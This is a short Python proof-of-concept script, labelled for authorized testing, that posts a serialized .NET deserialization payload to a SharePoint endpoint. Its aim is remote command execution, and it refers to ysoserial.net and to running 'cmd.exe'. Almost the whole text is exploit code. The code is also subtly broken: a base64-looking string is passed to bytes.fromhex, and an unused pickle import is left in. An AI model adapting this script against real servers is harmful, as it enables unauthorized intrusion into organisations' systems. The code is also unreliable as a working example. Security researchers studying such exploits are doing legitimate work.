The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for SharePoint Deserialization RCE
# Requires a valid authenticated session and low privileges
import requests
import pickle
# Target URL
target_url = "https://sharepoint-target.com/vulnerable_endpoint"
# Malicious payload (Example: .NET LosFormatter payload generation would happen here)
# In a real scenario, use ysoserial.net to generate a payload.
# payload = generate_los_formatter_payload("cmd.exe /c calc.exe")
# For demonstration, we simulate the hex payload
malicious_payload = bytes.fromhex("AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGVsZWdhdGVTZXJpYWxpem... (simulated)")
# Headers with authentication cookie
headers = {
"Cookie": "ASP.NET_SessionId=attacker_session_id",
"Content-Type": "application/octet-stream"
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.post(target_url, data=malicious_payload, headers=headers, verify=False)
if response.status_code == 200:
print("[+] Payload sent successfully. Check for command execution.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")